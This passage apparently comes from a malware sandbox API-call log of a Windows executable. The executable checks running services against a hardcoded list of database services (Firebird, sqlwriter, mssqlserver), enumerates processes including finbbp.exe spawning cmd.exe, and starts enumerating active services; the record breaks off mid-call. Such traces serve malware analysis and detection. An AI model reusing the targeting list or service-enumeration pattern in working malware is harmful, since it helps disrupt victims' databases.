(lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0226.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0226.565] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0226.566] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0226.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0226.566] lstrlenW (lpString="NlaSvc") returned 6 [0226.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0226.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0226.566] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0226.566] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0226.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0226.566] lstrlenW (lpString="nsi") returned 3 [0226.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0226.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0226.566] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0226.566] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0226.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0226.566] lstrlenW (lpString="PcaSvc") returned 6 [0226.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0226.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0226.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0226.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0226.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0226.566] lstrlenW (lpString="PlugPlay") returned 8 [0226.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0226.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0226.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0226.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0226.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0226.566] lstrlenW (lpString="Power") returned 5 [0226.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0226.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0226.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0226.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0226.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0226.567] lstrlenW (lpString="ProfSvc") returned 7 [0226.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0226.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0226.567] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0226.567] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0226.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0226.567] lstrlenW (lpString="RpcEptMapper") returned 12 [0226.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0226.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0226.567] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0226.567] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0226.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0226.567] lstrlenW (lpString="RpcSs") returned 5 [0226.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0226.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0226.567] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0226.567] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0226.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0226.567] lstrlenW (lpString="SamSs") returned 5 [0226.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0226.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0226.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0226.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0226.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0226.568] lstrlenW (lpString="Schedule") returned 8 [0226.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0226.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0226.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0226.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0226.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0226.568] lstrlenW (lpString="SecurityHealthService") returned 21 [0226.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0226.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0226.568] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0226.568] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0226.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0226.568] lstrlenW (lpString="SENS") returned 4 [0226.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0226.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0226.568] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0226.568] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0226.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0226.568] lstrlenW (lpString="ShellHWDetection") returned 16 [0226.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0226.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0226.568] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0226.568] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0226.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0226.568] lstrlenW (lpString="Spooler") returned 7 [0226.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0226.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0226.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0226.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0226.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0226.569] lstrlenW (lpString="StateRepository") returned 15 [0226.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0226.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0226.569] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0226.569] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0226.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0226.569] lstrlenW (lpString="SysMain") returned 7 [0226.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0226.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0226.569] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0226.569] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0226.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0226.569] lstrlenW (lpString="SystemEventsBroker") returned 18 [0226.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0226.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0226.569] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0226.569] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0226.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0226.569] lstrlenW (lpString="Themes") returned 6 [0226.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0226.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0226.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0226.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0226.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0226.570] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0226.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0226.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0226.570] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0226.570] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0226.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0226.570] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0226.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0226.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0226.570] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0226.570] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0226.570] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x421de40 | out: hHeap=0x670000) returned 1 [0226.570] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x44c [0226.981] Process32FirstW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.981] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0226.982] lstrlenW (lpString="System") returned 6 [0226.982] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0226.983] lstrlenW (lpString="smss.exe") returned 8 [0226.983] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.983] lstrlenW (lpString="csrss.exe") returned 9 [0226.983] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0226.984] lstrlenW (lpString="wininit.exe") returned 11 [0226.984] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.985] lstrlenW (lpString="csrss.exe") returned 9 [0226.985] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0226.985] lstrlenW (lpString="winlogon.exe") returned 12 [0226.985] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0226.986] lstrlenW (lpString="services.exe") returned 12 [0226.986] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0226.987] lstrlenW (lpString="lsass.exe") returned 9 [0226.987] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0226.987] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0226.987] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0227.012] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0227.012] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.014] lstrlenW (lpString="svchost.exe") returned 11 [0227.014] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.014] lstrlenW (lpString="svchost.exe") returned 11 [0227.014] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0227.015] lstrlenW (lpString="dwm.exe") returned 7 [0227.015] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.015] lstrlenW (lpString="svchost.exe") returned 11 [0227.015] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.016] lstrlenW (lpString="svchost.exe") returned 11 [0227.016] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.017] lstrlenW (lpString="svchost.exe") returned 11 [0227.017] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.017] lstrlenW (lpString="svchost.exe") returned 11 [0227.017] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.018] lstrlenW (lpString="svchost.exe") returned 11 [0227.018] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.019] lstrlenW (lpString="svchost.exe") returned 11 [0227.019] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.019] lstrlenW (lpString="svchost.exe") returned 11 [0227.019] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.020] lstrlenW (lpString="svchost.exe") returned 11 [0227.020] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.020] lstrlenW (lpString="svchost.exe") returned 11 [0227.020] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.021] lstrlenW (lpString="svchost.exe") returned 11 [0227.021] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0227.022] lstrlenW (lpString="spoolsv.exe") returned 11 [0227.022] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.022] lstrlenW (lpString="svchost.exe") returned 11 [0227.022] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0227.023] lstrlenW (lpString="audiodg.exe") returned 11 [0227.023] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0227.023] lstrlenW (lpString="sihost.exe") returned 10 [0227.023] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.024] lstrlenW (lpString="svchost.exe") returned 11 [0227.024] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0227.025] lstrlenW (lpString="taskhostw.exe") returned 13 [0227.025] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0227.025] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0227.025] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0227.026] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0227.026] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0227.027] lstrlenW (lpString="Memory Compression") returned 18 [0227.027] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0227.027] lstrlenW (lpString="explorer.exe") returned 12 [0227.027] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0227.028] lstrlenW (lpString="SearchUI.exe") returned 12 [0227.028] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0227.028] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0227.028] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0227.029] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0227.029] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0227.030] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0227.030] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0227.030] lstrlenW (lpString="finbbp.exe") returned 10 [0227.030] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0227.031] lstrlenW (lpString="cmd.exe") returned 7 [0227.031] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0227.031] lstrlenW (lpString="conhost.exe") returned 11 [0227.032] Process32NextW (in: hSnapshot=0x44c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0227.032] CloseHandle (hObject=0x44c) returned 1 [0227.032] Sleep (dwMilliseconds=0x1f4) [0227.958] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6fb6f0 [0227.959] EnumServicesStatusExW (in: hSCManager=0x6fb6f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0227.959] GetLastError () returned 0xea [0227.959] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x425de48 [0227.959] EnumServicesStatusExW (in: hSCManager=0x6fb6f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x425de48, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x425de48, pcbBytesNeeded=0x248ff3c, 